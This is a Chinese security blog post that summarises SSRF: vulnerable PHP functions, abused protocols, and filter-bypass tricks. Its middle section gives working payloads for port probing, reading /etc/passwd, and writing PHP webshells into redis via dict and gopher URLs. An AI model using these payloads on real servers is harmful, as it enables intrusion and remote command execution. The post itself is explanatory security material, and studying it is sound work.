SSRF初认识

前言

最近在一次代码审计过程中发现了一处SSRF漏洞,立即就精神了起来,脑海中出现了各种利用方式,实际去利用的时候发现存在很多的问题。所以就想趁着这个机会把SSRF漏洞做一个总结。

SSRF漏洞是什么

定义

SSRF也就是服务端请求伪造,是指攻击者向服务端发送包含恶意URI链接的请求,借由服务端去访问此URI,以获取保护网络资源的安全漏洞,是常见的web安全漏洞的一种

上述中有一个比较重要的点,就是攻击者发送链接,由服务端去请求。这种方式常常可以用来绕过网络的限制,攻击我们无法直接访问的网络。

可能存在SSRF的功能点

  • 1)分享:通过URL地址分享网页内容
  • 2)在线翻译
  • 3)图片的加载与下载:通过URL地址加载或下载图片,要注意区分是客户端发送的请求还是服务端发送的请求
  • 4)图片,文章收藏功能
  • 5)未公开的api实现以及其他调用URL的功能

PHP中可以造成SSRF的函数

  • 1)file_get_contents():把整个文件读入一个字符串中;支持http(s),file协议,在PHP5.4上测试不支持dict,ghoper协议。也有可能是我操作方式不对,在file_get_contents利用dict和ghoper协议大家有利用成功的吗?
  • 2)fsockopen():打开一个网络连接或者一个Unix套接字连接,在PHP5.4上测试只有http协议成功
  • 3)curl_exec():用于执行指定的CURL会话,支持的协议比较多,常用于SSRF的协议经过测试都支持,如dict,ghoper,file。有的协议需要一定的条件这点需要注意。

SSRF漏洞的危害

  • 1)扫描内网开放的端口
  • 2)读取主机任意文件
  • 3)攻击内网应用,如redis,mysql等

SSRF漏洞利用例子

在说SSRF漏洞利用以前先来说一下,SSRF经常利用的一些协议

  • 1)HTTP(s):最常用到的一种协议,这个就不多说了,可以用来验证是否存在SSRF漏洞,探测端口以及服务。
  • 2)file:本地文件传输协议,可以用来读取任意系统文件
  • 3)dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
  • 4)ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell。

由于curl支持的协议比较多,所以下面的例子中都是使用curl来进行操作的。

探测内网端口和服务

探测内网端口和服务一般使用http和dict协议。如下面所示,在有回显的情况下,可以直接确认服务端开启了redis服务。我们也可以直接爆破来批量测试服务端开始了那些端口。

?url=dict://127.0.0.1:6379

 读取任意文件

在有回显的情况下,可以使用file协议来读取内网任意文件。

?url=file:///etc/passwd

 

攻击内网应用

攻击内网应用需要用到dict协议或者ghoper协议。下面以攻击redis协议为例。

1)利用dict协议写入webshell

利用这种方式需要知道网站的绝对路径,目录有写入权限,以及redis没有密码或者弱密码(可以爆破弱密码)。

具体的payload如下:

?url=dict://127.0.0.1:6379/info

?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

?url=dict://127.0.0.1:6379/config:set:dbfilename:webshell.php

?url=dict://127.0.0.1:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"

?url=dict://127.0.0.1:6379/save

2)利用gopher协议写入webshell

payload:?url=

gopher%3a//127.0.0.1%3a6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

上面的payload是经过两次url编码的,因为GET会进行一次编码,curl也会进行一次编码。

 

ghoper可以用来攻击众多的内网应用,具体的payload可以通过githunb上开源的一个程序来生成。链接为:https://github.com/tarunkant/Gopherus

SSRF绕过技巧

绕过IP限制

有些网站可能会限制访问的IP,此时可以通过下面的方式进行绕过:

  • 1)使用IPV6地址
  • 2)对IP转化成十进制,八进制等,如0177.0.0.01(八进制)
  • 3)利用特殊域名。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
  • 4)利用句号。如127。0。0。1
  • 5)可以[::]。如http://[::]:80/
  • 6)利用短网址。比如百度短地址

绕过URL解析限制

如果网站限制了使用URL,可以尝试下面的方法绕过:

  • 1)使用@符号绕过:如127.0.0.1@evil.com
  • 2)利用302跳转,需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中

总结

开头说审计到的那个SSRF漏洞使用的是file_get_contents函数并且没有任何回显,读取本地文件是不可能的了,本来想着是不是可以直接盲打redis应用,通过测试发现在file_get_contents函数中并不能使用dict和ghoper协议。网上看到有的文章说是可以使用这两个协议,可能是我本人比较菜,操作方式不对,如果大家对于这种无回显并使用file_get_contents函数的漏洞有什么好的方法,希望大家赐教。

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值